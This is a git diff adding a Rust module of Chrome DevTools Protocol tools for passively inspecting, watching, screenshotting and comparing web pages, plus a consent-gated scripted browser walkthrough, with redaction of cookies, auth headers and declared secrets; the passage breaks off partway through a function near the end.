a/desktop/crates/engine/src/tools/browser_tools.rs b/desktop/crates/engine/src/tools/browser_tools.rs new file mode 100644 index 0000000..2c82ca3 --- /dev/null +++ b/desktop/crates/engine/src/tools/browser_tools.rs @@ -0,0 +1,2453 @@ +//! Browser tools over the Chrome DevTools Protocol (loopback CDP). +//! +//! Passive tools attach to a user-started browser (`--remote-debugging-port`) or, when asked, +//! launch a located Chromium headless; they observe only and never navigate, click or evaluate. +//! The one active tool, [`web_walkthrough_record`], runs a scripted session and is consent-gated. +//! Every connection is deadlined and cancellable, output is bounded, and captures are +//! data-minimised: cookies, auth headers and storage values are never kept, JSON bodies are +//! reduced to outlines, and declared secrets are redacted in every encoding. + +use super::native_common::spec; +use super::web_common::{self, Browser, LaunchOptions, Secrets}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engines::cdp::{self, CdpClient, Deadline, PAGE_MAX_MESSAGE}; +use craft_anything_evidence::{Authority, Confidence, Coverage, CoverageStatus, EvidenceBuilder, Limitation, Location, Subject, ToolError}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::time::Duration; + +pub fn specs() -> Vec { + vec![ + spec( + "web_browser_connect", + "Connect to a browser", + "Attach to a loopback CDP endpoint (a browser started with --remote-debugging-port) or launch a located Chromium headless, and report the product, protocol version and debuggable target count. A quick connectivity check before the other browser tools.", + "Check REI Reverse Engineer can talk to a web browser for live inspection.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_browser_connect, + ), + spec( + "web_pages_list", + "List browser pages", + "List the debuggable targets (pages, workers, iframes) of a loopback CDP endpoint with their ids, kinds and origin-only URLs, plus the browser product and protocol version. Read-only discovery over HTTP; no WebSocket.", + "See which pages are open in a browser you can inspect.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_pages_list, + ), + spec( + "web_page_show", + "Inspect a web page", + "Passively observe one page over CDP for a short window: frame origins, a DOM summary (node names/types and attribute names with value lengths only), parsed scripts (optionally their sources, each with its sha256), resources, and — each opt-in — accessibility names, console entries, network request outlines, WebSocket outlines and storage key names. Never navigates, clicks or evaluates. Cookies, auth headers and storage values are never kept; JSON bodies become outlines.", + "Look at what a web page is made of and what it loads, without touching it or exposing passwords.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_page_show, + ), + spec( + "web_page_js_analyze", + "Analyse a page's JavaScript", + "Fetch the scripts a live page has loaded over CDP and run the built-in JavaScript analyser on them: chunk graph, module boundaries, routes, HTTP endpoints and vendor fingerprints. Optionally decodes inline (data:) source maps and fetches same-origin maps. Passive; nothing is executed.", + "Map how a website's JavaScript is put together, straight from a running page.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_page_js_analyze, + ), + spec( + "web_page_watch", + "Watch a page over time", + "Passively watch one page over a longer window (default 10s) and record a bounded timeline of network request outlines, console entries, WebSocket frame outlines and navigation/lifecycle events, all data-minimised. Never navigates or evaluates.", + "Watch what a web page does over a few seconds — what it loads and sends — without touching it.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_page_watch, + ), + spec( + "web_mcp_tools_list", + "Find in-page MCP tools", + "Best effort: enable the experimental WebMCP CDP domain and collect any tools the page advertises (names and declared input outlines only) during a short window. The tools are never invoked. Honest when the browser does not support the domain.", + "Check whether a web page offers built-in AI tools, without running any of them.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_mcp_tools_list, + ), + spec( + "web_page_screenshot_take", + "Screenshot a page", + "Capture a PNG screenshot of the current state of one page and return it inline with its sha256 (plus bytes, dimensions, base64). Passive; the page is not navigated.", + "Take a picture of a web page as it looks right now.", + Toolset::Browser, + Effects::NETWORK_EVIDENCE.union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_page_screenshot_take, + ), + spec( + "web_snapshots_compare", + "Compare two page captures", + "Compare two web_page_show captures (frame origins, elements, resources, endpoints and script URLs added or removed), or two web_walkthrough_record runs step by step (steps aligned by step_id, then position: action, status, URL, error and artifact changes; network requests; event counts). normalization lists plain text replacements (e.g. a build id) applied to both sides first. Pure computation over evidence; no browser.", + "See what changed between two looks at a web page.", + Toolset::Browser, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + web_snapshots_compare, + ), + spec( + "web_pixels_compare", + "Compare two screenshots", + "Compare two PNG screenshots pixel by pixel with a per-channel threshold (0..255): whether they are comparable, how many pixels differ, the difference fraction, the largest channel delta and the changed bounding box. No pixel data is returned. Pure computation.", + "Measure how two pictures of a web page differ.", + Toolset::Browser, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + web_pixels_compare, + ), + spec( + "web_walkthrough_record", + "Run a scripted web session", + "Run a scripted browser session (goto/click/fill/press/select/wait; elements by CSS selector, test_id, or role and accessible name; optional step_id per step) over CDP, attaching to a loopback endpoint or launching a located Chromium. A fixed environment (viewport, locale, time zone, colour scheme, reduced motion, service workers; 1280x720, en-US, UTC, light by default) makes runs repeatable. Captures per-step network request outlines and optional screenshots; keep_bodies can also keep request/response bodies and header values (off by default, credentials and declared secrets redacted). storage can start the run with cookies and local/session storage (values treated as secrets). capture records screenshot, DOM, accessibility tree, history and storage key names after each step and/or at the end. capture.events records console, page errors, WebSockets, frames, workers, popups and (blocked) downloads, each tagged with its step. Executes page interactions and accesses the network, so it needs your approval; declared secrets are redacted in every encoding and bodies are reduced to outlines.", + "Drive a website through a few steps and record what it does, with your permission.", + Toolset::Browser, + Effects::EVIDENCE.union(Effects::EXECUTES_FOREIGN_CODE).union(Effects::ACCESSES_NETWORK).union(Effects::LAUNCHES_PROCESS), + Requires::Nothing, + schema_of::, + web_walkthrough_record, + ), + spec( + "web_walkthrough_check", + "Check a scripted web session", + "Check a script for web_walkthrough_record without running a browser, and list every problem with the step it's in: unknown step kinds, missing fields, selectors CSS doesn't have (XPath, :has-text and the like), locators that aren't exactly one of selector, test_id or role with name, bad settings. Errors are what the recorder would refuse, by the same rules; warnings are what it would run but probably not as meant (a misspelt field it ignores, a repeated step_id). Touches no target.", + "Check a scripted browser session for mistakes before running it.", + Toolset::Browser, + Effects::READ_ONLY, + Requires::Nothing, + schema_of::, + script_check::web_walkthrough_check, + ), + ] +} + +// --------------------------------------------------------------------------------------------- +// Shared parameters + +fn d_timeout() -> u64 { + 60 +} + +/// How to obtain a browser; shared by every tool. +pub(crate) fn resolve_browser( + ctx: &Ctx<'_>, + endpoint: Option<&str>, + launch: bool, + headless: bool, + no_sandbox: bool, + dl: &Deadline, +) -> Result { + let opts = LaunchOptions { allow_launch: launch, headless, no_sandbox, startup_secs: 30 }; + Browser::resolve(ctx, endpoint, &opts, dl) +} + +pub(crate) fn deadline(ctx: &Ctx<'_>, timeout_secs: u64) -> Result { + if !(1..=600).contains(&timeout_secs) { + return Err(ToolError::invalid("timeout_secs must be 1..=600")); + } + Ok(Deadline::new(Duration::from_secs(timeout_secs), ctx.cancel.clone())) +} + +pub(crate) fn browser_env(clean_room: bool, b: &Browser) -> craft_anything_evidence::Environment { + web_common::cdp_env(clean_room, Some(b.version.clone())) +} + +pub(crate) fn window_deadline(ctx: &Ctx<'_>, watch_ms: u64, overall: &Deadline) -> Deadline { + let ms = watch_ms.clamp(1, 600_000); + let dl = Deadline::new(Duration::from_millis(ms), ctx.cancel.clone()); + if overall.expired() { overall.clone() } else { dl } +} + +// --------------------------------------------------------------------------------------------- +// web_browser_connect + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ConnectParams { + /// Loopback CDP endpoint, e.g. http://127.0.0.1:9222. Omit to launch a browser. + #[serde(default)] + pub cdp_endpoint: Option, + /// Launch a located Chromium when no endpoint is given. + #[serde(default)] + pub launch: bool, + /// Launch headless (when launching). + #[serde(default = "yes")] + pub headless: bool, + /// Pass --no-sandbox when launching (needed in some containers). + #[serde(default)] + pub no_sandbox: bool, + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +fn yes() -> bool { + true +} + +fn web_browser_connect(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ConnectParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl).unwrap_or_default(); + let summary = format!( + "Connected to {} ({}) at {}; {} debuggable target(s).", + browser.product, + if browser.launched { "launched" } else { "attached" }, + browser.endpoint.origin, + targets.len() + ); + let ev = EvidenceBuilder::new("web_browser_connect", Subject { kind: "browser".into(), sha256: None, name: Some(browser.endpoint.origin.clone()) }, browser_env(ctx.session.clean_room(), &browser)) + .params(json!({"cdp_endpoint": p.cdp_endpoint, "launched": browser.launched})) + .result(json!({"endpoint": browser.endpoint.origin, "product": browser.product, "protocol_version": browser.version, "launched": browser.launched, "targets": targets.len()})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OutsideService) + .coverage(Coverage::complete(1)) + .location(Location::new("url", browser.endpoint.origin.clone())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// web_pages_list + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListTargetsParams { + #[serde(default)] + pub cdp_endpoint: Option, + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +fn target_row(t: &Value) -> Value { + json!({ + "id": t.get("id").and_then(Value::as_str).unwrap_or_default(), + "type": t.get("type").and_then(Value::as_str).unwrap_or_default(), + "url": web_common::sanitize_url(t.get("url").and_then(Value::as_str).unwrap_or_default()), + "title": t.get("title").and_then(Value::as_str).unwrap_or_default(), + "has_debugger": t.get("webSocketDebuggerUrl").is_some(), + }) +} + +fn web_pages_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListTargetsParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let rows: Vec = targets.iter().take(2000).map(target_row).collect(); + let pages = rows.iter().filter(|r| r["type"] == "page").count(); + let summary = format!("{} target(s) at {} ({} page(s)); {} {}.", rows.len(), browser.endpoint.origin, pages, browser.product, browser.version); + let ev = EvidenceBuilder::new( + "web_pages_list", + Subject { kind: "browser".into(), sha256: None, name: Some(browser.endpoint.origin.clone()) }, + browser_env(ctx.session.clean_room(), &browser), + ) + .params(json!({"cdp_endpoint": p.cdp_endpoint})) + .result(json!({"endpoint": browser.endpoint.origin, "product": browser.product, "protocol_version": browser.version, "targets": rows})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OutsideService) + .coverage(Coverage::complete(rows.len() as u64)) + .location(Location::new("url", browser.endpoint.origin.clone())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// Shared passive page capture + +#[derive(Debug, Clone, Copy, Default)] +pub(crate) struct CaptureFlags { + pub(crate) accessibility_text: bool, + pub(crate) console_text: bool, + pub(crate) body_outlines: bool, + pub(crate) websocket_outlines: bool, + pub(crate) storage_keys: bool, + pub(crate) script_sources: bool, + pub(crate) console: bool, + pub(crate) network: bool, +} + +/// A script seen on the page, with optional source text. +pub(crate) struct CapturedScript { + pub(crate) url: String, + pub(crate) text: Option, + pub(crate) length: Option, + pub(crate) source_map_url: Option, +} + +pub(crate) struct PageCapture { + pub(crate) result: Value, + pub(crate) scripts: Vec, + pub(crate) dropped: u64, +} + +const SCRIPT_RECORD_CAP: usize = 50_000; +const SCRIPT_META_BUDGET: usize = 8 << 20; +const SOURCE_TEXT_BUDGET: usize = 32 << 20; +const NETWORK_RECORD_CAP: usize = 20_000; + +/// Enable the needed domains, observe for `watch_ms`, and build a data-minimised capture. +pub(crate) fn capture_page( + client: &mut CdpClient, + origin_label: &str, + flags: CaptureFlags, + watch_ms: u64, + secrets: &mut Secrets, + ctx: &Ctx<'_>, + dl: &Deadline, +) -> Result { + // Enable domains. Network/Console/Debugger replay existing state as events. + let _ = client.call("Page.enable", json!({}), None, dl)?; + let _ = client.call("DOM.enable", json!({}), None, dl); + let _ = client.call("Runtime.enable", json!({}), None, dl); + if flags.network { + let _ = client.call("Network.enable", json!({"maxTotalBufferSize": 16 << 20, "maxResourceBufferSize": 8 << 20}), None, dl); + } + if flags.console { + let _ = client.call("Log.enable", json!({}), None, dl); + } + // Debugger.enable replays scriptParsed for every existing script. + let _ = client.call("Debugger.enable", json!({"maxScriptsCacheSize": SCRIPT_META_BUDGET}), None, dl); + + // Observe. + let window = window_deadline(ctx, watch_ms, dl); + client.pump_until(&window)?; + let events = client.take_events(); + + // Frame tree → origins. + let frames = client.call("Page.getFrameTree", json!({}), None, dl).unwrap_or(Value::Null); + let mut origins: std::collections::BTreeSet = std::collections::BTreeSet::new(); + collect_frame_origins(frames.get("frameTree"), &mut origins); + + // DOM summary. + let dom = match client.call("DOM.getDocument", json!({"depth": -1, "pierce": true}), None, dl) { + Ok(d) => web_common::dom_summary(d.get("root").unwrap_or(&Value::Null), 200_000), + Err(_) => Value::Null, + }; + + // Resources. + let resource_tree = client.call("Page.getResourceTree", json!({}), None, dl).unwrap_or(Value::Null); + let resources = collect_resources(&resource_tree); + + // Scripts from scriptParsed events (+ optional sources). + let (scripts, scripts_json, mut dropped, scripts_truncated) = collect_scripts(client, &events, flags.script_sources, dl); + + // Network from events (+ optional JSON body outlines). + let network = + if flags.network { collect_network(client, &events, flags.body_outlines, NetworkContent::default(), secrets, dl, &mut dropped) } else { Value::Null }; + + // WebSocket outlines. + let websockets = if flags.websocket_outlines { collect_websockets(&events, secrets) } else { Value::Null }; + + // Console. + let console = if flags.console { collect_console(&events, flags.console_text, secrets) } else { Value::Null }; + + // Storage KEYS only. + let storage = if flags.storage_keys { collect_storage_keys(client, &origins, dl) } else { Value::Null }; + + // Accessibility names (opt-in). + let accessibility = if flags.accessibility_text { collect_accessibility(client, dl) } else { Value::Null }; + + dropped = dropped.saturating_add(client.dropped_events()); + + let result = json!({ + "origin": origin_label, + "frame_origins": origins.into_iter().collect::>(), + "dom": dom, + "resources": resources, + "scripts": scripts_json, + "scripts_truncated": scripts_truncated, + "network": network, + "websockets": websockets, + "console": console, + "storage_keys": storage, + "accessibility": accessibility, + "watch_ms": watch_ms, + "dropped_events": dropped, + "secret_redactions": secrets.redactions, + }); + Ok(PageCapture { result, scripts, dropped }) +} + +fn collect_frame_origins(frame_tree: Option<&Value>, out: &mut std::collections::BTreeSet) { + collect_frame_origins_at(frame_tree, out, 0); +} + +fn collect_frame_origins_at(frame_tree: Option<&Value>, out: &mut std::collections::BTreeSet, depth: usize) { + let Some(ft) = frame_tree else { return }; + if depth > 256 { + return; + } + if let Some(url) = ft.get("frame").and_then(|f| f.get("url")).and_then(Value::as_str) { + out.insert(origin_of(&web_common::sanitize_url(url))); + } + for child in ft.get("childFrames").and_then(Value::as_array).into_iter().flatten() { + if out.len() >= 1000 { + break; + } + collect_frame_origins_at(Some(child), out, depth + 1); + } +} + +fn origin_of(url: &str) -> String { + if let Some(i) = url.find("://") { + let rest = url.get(i + 3..).unwrap_or(""); + let host = rest.split(['/', '?', '#']).next().unwrap_or(rest); + return format!("{}{host}", url.get(..i + 3).unwrap_or_default()); + } + url.split(['/', '?', '#']).next().unwrap_or(url).to_string() +} + +fn collect_resources(tree: &Value) -> Vec { + let mut out = Vec::new(); + fn walk(node: &Value, out: &mut Vec, depth: usize) { + if out.len() >= 5000 || depth > 256 { + return; + } + if let Some(res) = node.get("resources").and_then(Value::as_array) { + for r in res { + if out.len() >= 5000 { + break; + } + out.push(json!({ + "url": web_common::sanitize_url(r.get("url").and_then(Value::as_str).unwrap_or_default()), + "type": r.get("type").and_then(Value::as_str).unwrap_or_default(), + "mime_type": r.get("mimeType").and_then(Value::as_str).unwrap_or_default(), + })); + } + } + for child in node.get("childFrames").and_then(Value::as_array).into_iter().flatten() { + walk(child, out, depth + 1); + } + } + if let Some(root) = tree.get("frameTree") { + walk(root, &mut out, 0); + } + out +} + +fn collect_scripts(client: &mut CdpClient, events: &[cdp::CdpEvent], want_sources: bool, dl: &Deadline) -> (Vec, Vec, u64, bool) { + let mut scripts: Vec = Vec::new(); + let mut json_rows: Vec = Vec::new(); + let mut dropped = 0u64; + let mut meta_bytes = 0usize; + let mut source_bytes = 0usize; + let mut truncated = false; + let mut seen: std::collections::BTreeSet = std::collections::BTreeSet::new(); + for ev in events.iter().filter(|e| e.method == "Debugger.scriptParsed") { + let url = ev.params.get("url").and_then(Value::as_str).unwrap_or_default().to_string(); + if url.is_empty() || !seen.insert(url.clone()) { + continue; + } + if scripts.len() >= SCRIPT_RECORD_CAP || meta_bytes >= SCRIPT_META_BUDGET { + truncated = true; + dropped += 1; + continue; + } + meta_bytes = meta_bytes.saturating_add(url.len() + 128); + let length = ev.params.get("length").and_then(Value::as_u64); + let smu = ev.params.get("sourceMapURL").and_then(Value::as_str).filter(|s| !s.is_empty()).map(String::from); + let mut text = None; + if want_sources + && source_bytes < SOURCE_TEXT_BUDGET + && let Some(sid) = ev.params.get("scriptId").and_then(Value::as_str) + && let Ok(src) = client.call("Debugger.getScriptSource", json!({"scriptId": sid}), None, dl) + && let Some(s) = src.get("scriptSource").and_then(Value::as_str) + { + source_bytes = source_bytes.saturating_add(s.len()); + if source_bytes <= SOURCE_TEXT_BUDGET { + text = Some(s.to_string()); + } else { + truncated = true; + } + } + let san = web_common::sanitize_url(&url); + let mut row = json!({"url": san, "length": length, "source_map_url": smu}); + if let Some(t) = &text { + // A WebTextArtifact that carries its own hash: `text` + `sha256` over it, with `url` alongside so + // web_scripts_save and js_app_map can consume this capture. + row["media_type"] = json!("application/javascript"); + row["charset"] = json!("utf-8"); + row["bytes"] = json!(t.len()); + row["sha256"] = json!(craft_anything_evidence::sha256_hex(t.as_bytes())); + row["text"] = json!(t); + } + json_rows.push(row); + scripts.push(CapturedScript { url, text, length, source_map_url: smu }); + } + (scripts, json_rows, dropped, truncated) +} + +pub(crate) fn collect_network( + client: &mut CdpClient, + events: &[cdp::CdpEvent], + want_body_outlines: bool, + content: NetworkContent, + secrets: &mut Secrets, + dl: &Deadline, + dropped: &mut u64, +) -> Value { + use std::collections::BTreeMap; + let mut reqs: BTreeMap = BTreeMap::new(); + let mut order: Vec = Vec::new(); + for ev in events { + match ev.method.as_str() { + "Network.requestWillBeSent" => { + let id = ev.params.get("requestId").and_then(Value::as_str).unwrap_or_default().to_string(); + if id.is_empty() { + continue; + } + if !reqs.contains_key(&id) { + if reqs.len() >= NETWORK_RECORD_CAP { + *dropped += 1; + continue; + } + order.push(id.clone()); + } + let r = ev.params.get("request"); + let url = secrets.text(&web_common::sanitize_url(r.and_then(|r| r.get("url")).and_then(Value::as_str).unwrap_or_default())); + let method = r.and_then(|r| r.get("method")).and_then(Value::as_str).unwrap_or_default().to_string(); + let initiator = ev.params.get("initiator").and_then(|i| i.get("type")).and_then(Value::as_str).unwrap_or_default().to_string(); + let entry = reqs.entry(id).or_insert(json!({"method": method, "url": url, "initiator": initiator, "type": ev.params.get("type")})); + if content.header_values { + entry["request_headers"] = web_common::header_values(r.and_then(|r| r.get("headers")).unwrap_or(&Value::Null), secrets); + } + if content.request_body { + match r.and_then(|r| r.get("postData")).and_then(Value::as_str) { + Some(body) => entry["request_body"] = web_common::kept_body(body.as_bytes(), secrets), + None if r.and_then(|r| r.get("hasPostData")).and_then(Value::as_bool) == Some(true) => { + entry["request_body"] = json!({"state": "not_exposed"}); + } + None => {} + } + } + } + "Network.responseReceived" => { + let id = ev.params.get("requestId").and_then(Value::as_str).unwrap_or_default().to_string(); + if let Some(entry) = reqs.get_mut(&id) { + let resp = ev.params.get("response"); + entry["status"] = resp.and_then(|r| r.get("status")).cloned().unwrap_or(Value::Null); + entry["mime_type"] = resp.and_then(|r| r.get("mimeType")).cloned().unwrap_or(Value::Null); + entry["response_headers"] = web_common::project_headers(resp.and_then(|r| r.get("headers")).unwrap_or(&Value::Null)); + if content.header_values { + entry["response_header_values"] = web_common::header_values(resp.and_then(|r| r.get("headers")).unwrap_or(&Value::Null), secrets); + } + } + } + _ => {} + } + } + // Optional JSON body outlines for JSON responses. + if want_body_outlines { + let ids: Vec = order.iter().take(200).cloned().collect(); + for id in ids { + if dl.expired() { + break; + } + let is_json = reqs.get(&id).and_then(|e| e.get("mime_type")).and_then(Value::as_str).is_some_and(|m| m.contains("json")); + if !is_json { + continue; + } + if let Ok(body) = client.call("Network.getResponseBody", json!({"requestId": id}), None, dl) + && let Some(text) = body.get("body").and_then(Value::as_str) + { + let decoded = if body.get("base64Encoded").and_then(Value::as_bool) == Some(true) { + web_common::b64_decode(text).ok().and_then(|b| String::from_utf8(b).ok()) + } else { + Some(text.to_string()) + }; + if let Some(t) = decoded + && let Ok(v) = serde_json::from_str::(&t) + && let Some(entry) = reqs.get_mut(&id) + { + entry["json_body_outline"] = web_common::json_outline(&v); + } + } + } + } + if content.response_body { + let ids: Vec = order.iter().take(200).cloned().collect(); + for id in ids { + if dl.expired() { + break; + } + let kept = match client.call("Network.getResponseBody", json!({"requestId": id}), None, dl) { + Ok(body) => { + let text = body.get("body").and_then(Value::as_str).unwrap_or_default(); + let raw = if body.get("base64Encoded").and_then(Value::as_bool) == Some(true) { + web_common::b64_decode(text).unwrap_or_default() + } else { + text.as_bytes().to_vec() + }; + web_common::kept_body(&raw, secrets) + } + Err(e) => json!({"state": "unavailable", "reason": e.message}), + }; + if let Some(entry) = reqs.get_mut(&id) { + entry["response_body"] = kept; + } + } + } + let items: Vec = order.iter().filter_map(|id| reqs.get(id).cloned()).collect(); + json!({"request_count": items.len(), "requests": items}) +} + +fn collect_websockets(events: &[cdp::CdpEvent], secrets: &mut Secrets) -> Value { + let mut conns: std::collections::BTreeMap = std::collections::BTreeMap::new(); + let mut frames: Vec = Vec::new(); + for ev in events { + match ev.method.as_str() { + "Network.webSocketCreated" => { + let id = ev.params.get("requestId").and_then(Value::as_str).unwrap_or_default().to_string(); + let url = secrets.text(&web_common::sanitize_url(ev.params.get("url").and_then(Value::as_str).unwrap_or_default())); + conns.insert(id, json!({"url": url})); + } + "Network.webSocketFrameSent" | "Network.webSocketFrameReceived" => { + if frames.len() >= 5000 { + continue; + } + let direction = if ev.method.ends_with("Sent") { "sent" } else { "received" }; + let f = ev.params.get("response"); + let opcode = f.and_then(|r| r.get("opcode")).cloned().unwrap_or(Value::Null); + let len = f.and_then(|r| r.get("payloadData")).and_then(Value::as_str).map(str::len).unwrap_or(0); + frames.push(json!({"direction": direction, "opcode": opcode, "payload_length": len})); + } + _ => {} + } + } + json!({"connections": conns.into_values().collect::>(), "frames": frames}) +} + +fn collect_console(events: &[cdp::CdpEvent], want_text: bool, secrets: &mut Secrets) -> Value { + let mut items: Vec = Vec::new(); + for ev in events { + if items.len() >= 5000 { + break; + } + match ev.method.as_str() { + "Runtime.consoleAPICalled" => { + let kind = ev.params.get("type").and_then(Value::as_str).unwrap_or_default(); + let mut row = json!({"source": "console-api", "level": kind}); + if want_text && let Some(args) = ev.params.get("args").and_then(Value::as_array) { + let text: String = args.iter().filter_map(|a| a.get("value").and_then(Value::as_str)).collect::>().join(" "); + row["text"] = json!(secrets.text(&text)); + } + items.push(row); + } + "Log.entryAdded" => { + let entry = ev.params.get("entry"); + let mut row = json!({"source": entry.and_then(|e| e.get("source")).cloned().unwrap_or(Value::Null), "level": entry.and_then(|e| e.get("level")).cloned().unwrap_or(Value::Null)}); + if want_text && let Some(t) = entry.and_then(|e| e.get("text")).and_then(Value::as_str) { + row["text"] = json!(secrets.text(t)); + } + items.push(row); + } + _ => {} + } + } + json!({"count": items.len(), "entries": items, "has_text": want_text}) +} + +fn collect_storage_keys(client: &mut CdpClient, origins: &std::collections::BTreeSet, dl: &Deadline) -> Value { + let _ = client.call("DOMStorage.enable", json!({}), None, dl); + let mut out: Vec = Vec::new(); + for origin in origins.iter().filter(|o| o.starts_with("http")).take(50) { + for is_local in [true, false] { + if dl.expired() { + break; + } + let sid = json!({"securityOrigin": origin, "isLocalStorage": is_local}); + if let Ok(items) = client.call("DOMStorage.getDOMStorageItems", json!({"storageId": sid}), None, dl) { + let keys: Vec = items + .get("entries") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|e| e.as_array().and_then(|kv| kv.first()).and_then(Value::as_str).map(String::from)) + .take(5000) + .collect(); + if !keys.is_empty() { + out.push(json!({"origin": origin, "area": if is_local { "localStorage" } else { "sessionStorage" }, "keys": keys})); + } + } + } + } + json!({"areas": out, "note": "key names only; values are never read"}) +} + +fn collect_accessibility(client: &mut CdpClient, dl: &Deadline) -> Value { + let _ = client.call("Accessibility.enable", json!({}), None, dl); + match client.call("Accessibility.getFullAXTree", json!({}), None, dl) { + Ok(tree) => { + let nodes: Vec = tree + .get("nodes") + .and_then(Value::as_array) + .into_iter() + .flatten() + .take(5000) + .map(|n| { + json!({ + "role": n.get("role").and_then(|r| r.get("value")).cloned().unwrap_or(Value::Null), + "name": n.get("name").and_then(|r| r.get("value")).cloned().unwrap_or(Value::Null), + }) + }) + .collect(); + json!({"nodes": nodes}) + } + Err(_) => json!({"available": false}), + } +} + +// --------------------------------------------------------------------------------------------- +// web_page_show + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct InspectPageParams { + #[serde(default)] + pub cdp_endpoint: Option, + #[serde(default)] + pub launch: bool, + #[serde(default = "yes")] + pub headless: bool, + #[serde(default)] + pub no_sandbox: bool, + /// The target id to inspect (from web_pages_list); the first page otherwise. + #[serde(default)] + pub target_id: Option, + /// Passive observation window in milliseconds. + #[serde(default = "d_inspect_window")] + pub watch_ms: u64, + #[serde(default)] + pub with_accessibility_text: bool, + #[serde(default)] + pub with_console_text: bool, + #[serde(default)] + pub with_body_outlines: bool, + #[serde(default)] + pub with_websocket_outlines: bool, + #[serde(default)] + pub with_storage_names: bool, + #[serde(default)] + pub with_script_text: bool, + /// Values to redact wherever they appear (any encoding). Only the count is recorded. + #[serde(default)] + pub hidden_values: Vec, + #[serde(default = "d_timeout")] + pub timeout_secs: u64, +} + +fn d_inspect_window() -> u64 { + 500 +} + +fn web_page_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: InspectPageParams = parse_params(params)?; + let dl = deadline(ctx, p.timeout_secs)?; + let browser = resolve_browser(ctx, p.cdp_endpoint.as_deref(), p.launch, p.headless, p.no_sandbox, &dl)?; + let targets = cdp::json_list(&browser.endpoint, &dl)?; + let target = web_common::pick_target(&targets, p.target_id.as_deref(), Some("page"))?; + let page_url = web_common::sanitize_url(target.get("url").and_then(Value::as_str).unwrap_or_default()); + let mut client = web_common::connect_target(&browser, target, PAGE_MAX_MESSAGE, &dl)?; + let flags = CaptureFlags { + accessibility_text: p.with_accessibility_text, + console_text: p.with_console_text, + body_outlines: p.with_body_outlines, + websocket_outlines: p.with_websocket_outlines, + storage_keys: p.with_storage_names, + script_sources: p.with_script_text, + console: true, + network: true, + }; + let mut secrets = Secrets::new(&p.hidden_values); + let cap = capture_page(&mut client, &page_url, flags, p.watch_ms, &mut secrets, ctx, &dl); + cleanup(&mut client, &dl); + let cap = cap?; + let scripts_n = cap.result["scripts"].as_array().map_or(0, Vec::len); + let req_n = cap.result["network"]["request_count"].as_u64().unwrap_or(0); + let summary = format!( + "Inspected {page_url}: {scripts_n} script(s), {req_n} request outline(s), {} frame origin(s).", + cap.result["frame_origins"].as_array().map_or(0, Vec::len) + ); + let ev = passive_evidence( + "web_page_show", + ctx.session.clean_room(), + &browser, + &page_url, + cap.result, + summary, + cap.dropped, + p.hidden_values.len(), + secrets.redactions, + )?; + Ok(ToolOutput::evidence(ev)) +} + +/// Disable the enabled domains and close our own socket, each bounded by a short fresh deadline so +/// cleanup can never hang even if the caller's deadline has already passed. +pub(crate) fn cleanup(client: &mut CdpClient, _dl: &Deadline) { + let quick = Deadline::new(Duration::from_secs(5), crate::tool::CancelToken::default()); + for d in ["Network.disable", "Debugger.disable", "Runtime.disable", "Log.disable", "DOM.disable", "Page.disable"] { + let _ = client.call(d, json!({}), None, &quick); + } + client.close(&quick); +} + +#[allow(clippy::too_many_arguments)] +fn passive_evidence( + op: &'static str, + clean_room: bool, + browser: &Browser, + origin: &str, + result: Value, + summary: String, + dropped: u64, + declared_secrets: usize, + redactions: u64, +) -> Result { + let mut b = EvidenceBuilder::new(op, Subject { kind: "website".into(), sha256: None, name: Some(origin.to_string()) }, browser_env(clean_room, browser)) + .params(json!({"endpoint": browser.endpoint.origin, "sensitive_value_declarations": declared_secrets})) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::EarlierRecord) + .limitation(Limitation::new( + "passive_snapshot", + "A passive observation of one moment in a live page; it shows what happened during the window, not everything the page can do.", + )) + .limitation(Limitation::new( + "values_not_kept", + "Cookies, authorization headers and storage values are never kept; JSON bodies are reduced to outlines and declared secrets are redacted.", + )) + .coverage(Coverage { status: CoverageStatus::Partial, examined: None, total: None, next_offset: None }) + 